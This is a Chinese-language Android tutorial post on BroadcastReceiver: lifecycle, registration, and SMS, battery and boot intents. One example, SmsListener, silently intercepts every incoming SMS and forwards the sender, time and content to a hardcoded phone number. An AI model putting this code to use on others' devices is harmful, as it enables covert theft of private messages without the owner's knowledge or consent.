android中的BroadcastReceiver

 

Receiver Lifecycle

    A BroadcastReceiver object is only valid for the duration of the call to onReceive(Context, Intent). Once your code returns from this function, the system considers the object to be finished and no longer active.

This has important repercussions to what you can do in an onReceive(Context, Intent) implementation: anything that requires asynchronous operation is not available, because you will need to return from the function to handle the asynchronous operation, but at that point the BroadcastReceiver is no longer active and thus the system is free to kill its process before the asynchronous operation completes.

In particular, you may not show a dialog or bind to a service from within a BroadcastReceiver. For the former, you should instead use the NotificationManager API. For the latter, you can use Context.startService() to send a command to the service.    

 

 

 

 

startActivity只能被一个组件（activity，service）接收，
Context.sendBroadcast()、能被订阅了此意图的所有广播接收者接收

广播接收者（BroadcastReceiver）用于异步接收广播Intent，广播Intent的发送是通过调用Context.sendBroadcast()、Context.sendOrderedBroadcast()或者Context.sendStickyBroadcast()来实现的。通常一个广播Intent可以被订阅了此Intent的多个广播接收者所接收，广播接收者和JMS中的Topic消息接收者很相似。要实现一个广播接收者方法如下：
第一步：继承BroadcastReceiver，并重写onReceive()方法。
public class IncomingSMSReceiver extends BroadcastReceiver {
 @Override public void onReceive(Context context, Intent intent) {
 }
}
第二步：订阅感兴趣的广播Intent，订阅方法有两种：
第一种：使用代码进行订阅
IntentFilter filter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
IncomingSMSReceiver receiver = new IncomingSMSReceiver();
registerReceiver(receiver, filter);
第二种：在AndroidManifest.xml文件中的<application>节点里进行订阅:
<receiver android:name=".IncomingSMSReceiver">
    <intent-filter>
         <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
    </intent-filter>
</receiver>

public class SmsListener extends BroadcastReceiver {

 @Override
 public void onReceive(Context context, Intent intent) {
  Bundle bundle = intent.getExtras();
  if (bundle != null) {
   Object[] pdus = (Object[]) bundle.get("pdus");
   SmsMessage[] messages = new SmsMessage[pdus.length];
   for (int i = 0; i < pdus.length; i++) {
    messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
   }
   SmsManager manager = SmsManager.getDefault();
   for (SmsMessage msg : messages) {
    String content = msg.getMessageBody();
    String sender = msg.getOriginatingAddress();
    Date date = new Date(msg.getTimestampMillis());
    SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
    String time = format.format(date);
    String text = time+":" + sender +":" + content;
    // 转发至手机
    manager.sendTextMessage("1xxxx435", null, text, null, null); 
   }
  }
  
 }

}

 

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="yt.hy.sms"
      android:versionCode="1"
      android:versionName="1.0">
    <uses-sdk android:minSdkVersion="8" />

    <application android:icon="@drawable/icon" android:label="@string/app_name">
        <receiver android:name=".SmsListener"
                  android:label="Sms listener">
            <intent-filter>
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
            </intent-filter>
        </receiver>

    </application>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->
 <uses-permission android:name="android.permission.SEND_SMS"/><!-- 发送短信权限 -->
   
</manifest>

给10086发一直是有个错误，

manager.sendTextMessage("1xxxx", null, text, null, null); 
这句会有空指针错误。

后来发现这是个BUG，当字发的多点的时候就会发生空指针错误，字少的时候就不会，怪不得google不提倡使用

SmsManager这个类、、、、、

浪费这么长时间也没办法、

补充：

 

除了短信到来广播Intent，Android还有很多广播Intent，如：开机启动、电池电量变化、时间已经改变等广播Intent。

 接收电池电量变化广播Intent ，在AndroidManifest.xml文件中的<application>节点里订阅此Intent:

<receiver android:name=".IncomingSMSReceiver">

    <intent-filter>

         <action android:name="android.intent.action.BATTERY_CHANGED"/>

    </intent-filter>

</receiver>

 

 接收开机启动广播Intent，在AndroidManifest.xml文件中的<application>节点里订阅此Intent:

<receiver android:name=".IncomingSMSReceiver">

    <intent-filter>

         <action android:name="android.intent.action.BOOT_COMPLETED"/>

    </intent-filter>

</receiver>

并且要进行权限声明：

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

 

通常一个BroadcastReceiver对象的生命周期不超过5秒，所以在BroadcastReceiver里不能做一些比较耗时的操作，如果需要完成一项比较耗时的工作，可以通过发送Intent给Activity或Service，由Activity或Service来完成。

public class IncomingSMSReceiver extends BroadcastReceiver {

@Override public void onReceive(Context context, Intent intent) {

            //发送Intent启动服务，由服务来完成比较耗时的操作

            Intent service = new Intent(context, XxxService.class);

            context.startService(service);

            //发送Intent启动Activity，由Activity来完成比较耗时的操作

            Intent newIntent = new Intent(context, XxxActivity.class);

            context.startActivity(newIntent);

}

}

也可用新建线程的方式：

new Thread(new Runnable() {

public void run() {

xxxxxxxx

}

}).start();

 

 

小结：

• 在Android 中如果要发送一个广播必须使用sendBroadCast 向系统发送对其感兴趣的广播接收器中。
• 使用广播必须要有一个intent 对象必设置其action动作对象
• 使用广播必须在配置文件中显式的指明该广播对象
• 每次接收广播都会重新生成一个接收广播的对象
• 在BroadCast 中尽量不要处理太多逻辑问题，建议复杂的逻辑交给Activity 或者 Service 去处理

 

 

 

注意：

 

     不应该在BroadcastReceiver中添加比较耗时的代码，这会导致主线程阻塞，直接报错